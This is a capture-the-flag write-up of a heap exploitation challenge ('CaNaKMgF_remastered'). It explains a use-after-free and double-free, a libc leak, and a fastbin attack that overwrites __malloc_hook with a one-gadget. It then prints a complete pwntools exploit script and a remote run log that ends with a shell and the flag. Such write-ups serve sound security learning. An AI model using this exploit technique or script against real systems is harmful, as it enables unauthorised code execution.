Points: 384 Solves: 25 Category: Exploitation
CaNaKMgF_remastered: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e4ba2a9e3c69441f88481b5e06ac21fd52c54b9a, not stripped
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
Intro
This program is based off the CaNaKMgF
pwnable challenge, except that CaNaKMgF_remastered
has full RELRO enabled and PIE enabled. Interestingly, during the CTF, I had already solved CaNaKMgF
using a technique that bypassed both mitigations, so I re-used the same exploit for CaNaKMgF_remastered
and was able to get the flag.
Reversing
When we run the program, we are presented with the following menu.
1. Allocate
2. Pray for Allah
3. Free
4. Read
5. Run away
The program is very simple. It allows us to allocate heap chunks of different sizes, which it places in a global array in the .BSS called alloc_list[]
.
We can write data of our choosing into these chunks and the program ensures that the length of our data fits inside the chunk we’ve allocated for it.
We can specify chunks from this list that we would like to print out the contents of.
Similarly, we can also free any chunks in this list.
There was also some functionality to read limited files off the remote server when one selected the “Pray for Allah” option in the CaNaKMgF
binary, but this function no longer worked in CaNaKMgF_remastered
, and I didn’t use it in my exploit for CaNaKMgF
, anyway.
Exploit
The main vulnerability in this program is that when a chunk is freed, the associated pointer to the chunk is not removed from alloc_list[]
. This allows us to perform use-after-frees and double-frees which we can abuse to corrupt the heap and gain code execution.
To get a libc leak, we can exploit the UAF to allocate 2 small chunks, free the first one, and then print its contents out, since we know the FD
and BK
pointers of our free’d small chunk will be populated with a pointer to an offset from main_arena
in libc. (The purpose of allocating a 2nd small chunk, is to prevent top chunk consolidation.)
To get control of RIP
, we can perform a fastbin attack to get malloc()
to return an almost arbitrary pointer, overwrite __malloc_hook
, and then call our overwritten __malloc_hook
function pointer by triggering a double free memory corruption error.
To perform the fastbin attack, we will allocate 2 fast chunks of size 0x68
bytes, and free the 2nd one, then the 1st one, and then the 2nd one again, abusing the fact that we can double-free fast chunks, so long as the head of the freelist that their fast chunk size is associated with, is not the same as the chunk that is being free’d.
from malloc.c
:
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
So, right now our fastbin looks like this:
[HEAD]->D->C->D->NULL
Now, we will allocate another fast chunk of the same size as D, so that D is popped off this freelist and used to service our malloc()
request.
Since we can also specify the contents of chunks we allocate, we will overwrite the first qword of this chunk with the address of our target that we would like malloc()
to return.
This corrupts the FD
pointer of chunk D, a pointer to which, still exists in the singly linked freelist!
We can select any address to overwrite the FD
pointer with, subject to certain constraints.
from malloc.c
:
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
To satisfy these constraints, we will abuse the fact that we can make FD
point to misaligned addresses as long as they satisfy the valid size metadata field constraint. In our case, since we are targeting fast chunks of size 0x68
, the following is a valid address should do the trick.
gdb-peda$ p &__malloc_hook
$2 = (void *(**)(size_t, const void *)) 0x7ffff7dd1b10 <__malloc_hook>
gdb-peda$ x/32xg 0x7ffff7dd1b10-0x30+0xd
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a93270000000 0xfff7a92e5000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0xfff7a92c8000007f 0x000000000000007f
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
At this point, our freelist should now look like this:
[HEAD]->C->D->{target addr}
After two more allocations, our target address should now be at the head of this freelist:
[HEAD]->{target addr}
Then, the next memory allocation of size 0x68
should return a pointer to our target address+0x10
and since we can control the contents of chunks we allocate, we will simply overwrite __malloc_hook
with a “magic” one gadget RCE address.
Once we trigger an actual double free corruption error, the program should now spawn a shell.
exploit.py
#!/usr/bin/env python
from pwn import *
import sys
def allocate(length, contents):
r.sendline("1")
r.recvuntil("Length?")
r.sendline(str(length))
r.sendline(contents)
r.recvuntil("away")
def free(idx):
r.sendline("3")
r.recvuntil("Num? ")
r.sendline(str(idx))
r.recvuntil("away")
def read(idx):
r.sendline("4")
r.recvuntil("Num? ")
r.sendline(str(idx))
return r.recvuntil("away")
def exploit(r):
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# leak libc
log.info("starting leaks...")
allocate(255,"A")
allocate(255,"B")
free(0)
libc_base = u64(read(0)[:6].ljust(8,'\0'))-0x3c3b78
malloc_hook = libc_base+libc.symbols["__malloc_hook"]
one_shot = libc_base+0xef6c4
log.success("libc base found at: "+hex(libc_base))
log.success("one_shot found at: "+hex(one_shot)+"\n\n")
## fastbin attack
log.info("starting fastbin attack...")
allocate(0x68,"C") # C # 2
allocate(0x68,"D") # D # 3
allocate(255, "E") # E
free(3)
free(2)
free(3)
# overwrite __malloc_hook
payload = p64(malloc_hook-0x30+0xd)
allocate(0x68, payload)
allocate(0x68, "F")
allocate(0x68, "G")
allocate(0x68,"H"*0x13+p64(one_shot))
# trigger
free(0)
r.sendline("3")
r.sendline("0")
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['./CaNaKMgF_remastered'], env={"LD_PRELOAD":""})
print util.proc.pidof(r)
pause()
exploit(r)
➜ CaNaKMgF_remastered python exploit.py 128.199.85.217 10001
[*] For remote: exploit.py HOST PORT
[+] Opening connection to 128.199.85.217 on port 10001: Done
[*] '/lib/x86_64-linux-gnu/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] starting leaks...
[+] libc base found at: 0x7f80b7c9f000
[+] one_shot found at: 0x7f80b7d8e6c4
[*] starting fastbin attack...
[*] Switching to interactive mode
Num? $ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ ls
CaNaKMgF
F1Ag_FiLe_Is_Heeereeeeeee_HAHAHA
$ cat F1Ag_FiLe_Is_Heeereeeeeee_HAHAHA
ASIS{full_relro_fastbin_attack!!!!!!_:-P}
$